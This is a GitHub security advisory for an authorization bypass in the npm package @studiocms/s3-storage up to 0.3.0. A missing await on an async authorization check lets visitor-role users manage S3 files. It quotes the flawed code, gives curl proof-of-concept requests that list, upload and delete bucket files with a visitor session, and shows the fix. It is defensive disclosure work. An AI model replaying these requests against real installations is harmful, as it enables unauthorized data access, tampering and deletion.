Skip to content

S3 Storage Manager Authorization Bypass via Missing `await` on Async Auth Check

High
Adammatthiesen published GHSA-mm78-fgq8-6pgr Mar 11, 2026

Package

npm @studiocms/s3-storage (npm)

Affected versions

<=0.3.0

Patched versions

0.3.1

Description

Summary

The S3 storage manager's isAuthorized() function is declared async (returns Promise<boolean>) but is called without await in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, !isAuthorized(type) always evaluates to false, completely bypassing the authorization check. Any authenticated user with the lowest visitor role can upload, delete, rename, and list all files in the S3 bucket.

Details

The isAuthorized function is typed as returning Promise<boolean> in packages/studiocms/src/handlers/storage-manager/definitions.ts:88:

export type ParsedContext = {
    getJson: () => Promise<ContextJsonBody>;
    getArrayBuffer: () => Promise<ArrayBuffer>;
    getHeader: (name: string) => string | null;
    isAuthorized: (type?: AuthorizationType) => Promise<boolean>;  // async
};

Both context drivers implement it as asyncpackages/studiocms/src/handlers/storage-manager/core/effectify-astro-context.ts:32:

isAuthorized: async (type) => {
    switch (type) {
        case 'headers': {
            // ... token verification ...
            const isEditor = level >= UserPermissionLevel.editor;
            if (!isEditor) return false;
            return true;
        }
        default: {
            const isEditor = locals.StudioCMS.security?.userPermissionLevel.isEditor || false;
            return isEditor;
        }
    }
},

But in the S3 storage manager, it's called without awaitpackages/@studiocms/s3-storage/src/s3-storage-manager.ts:200:

if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {
    return { data: { error: 'Unauthorized' }, status: 401 };
}

And again at line 372 (PUT handler):

if (!isAuthorized(type)) {
    return { data: { error: 'Unauthorized' }, status: 401 };
}

isAuthorized(type) returns a Promise object. !Promise{...} is always false because a Promise is truthy. The 401 response is never returned.

Execution flow:

  1. Visitor-role user sends POST to /studiocms_api/integrations/storage/manager
  2. AstroLocalsMiddleware verifies session exists — passes (visitor is logged in)
  3. Handler calls !isAuthorized('locals') → evaluates !Promise{...} = false
  4. Authorization check is skipped entirely
  5. Visitor performs the requested storage operation

PoC

# 1. Log in as a visitor-role user and obtain session cookie

# 2. List all files in S3 bucket (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
  -H 'Cookie: studiocms-session=<visitor-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"action":"list","prefix":""}'

# Expected: 401 Unauthorized
# Actual: 200 with full bucket listing

# 3. Upload a file as visitor (should require editor+)
curl -X PUT 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
  -H 'Cookie: studiocms-session=<visitor-session-token>' \
  -H 'Content-Type: application/octet-stream' \
  -H 'x-storage-key: malicious/payload.html' \
  --data-binary '<h1>Uploaded by visitor</h1>'

# Expected: 401 Unauthorized
# Actual: 200 File uploaded

# 4. Delete a file as visitor (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
  -H 'Cookie: studiocms-session=<visitor-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"action":"delete","key":"important/document.pdf"}'

# Expected: 401 Unauthorized
# Actual: 200 File deleted

Impact

  • Any authenticated visitor gains full S3 storage management (upload, delete, rename, list) — capabilities restricted to editor role and above
  • Attacker can delete arbitrary files from the S3 bucket, causing data loss
  • Attacker can list all files and generate presigned download URLs, exposing all stored content
  • Attacker can upload arbitrary files or rename existing ones, replacing legitimate content with malicious payloads

Recommended Fix

Add await to both isAuthorized() calls in packages/@studiocms/s3-storage/src/s3-storage-manager.ts:

// POST handler (line 200) — before:
if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {

// After:
if (authRequiredActions.includes(jsonBody.action) && !(await isAuthorized(type))) {

// PUT handler (line 372) — before:
if (!isAuthorized(type)) {

// After:
if (!(await isAuthorized(type))) {

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

CVE ID

CVE-2026-32101

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

Credits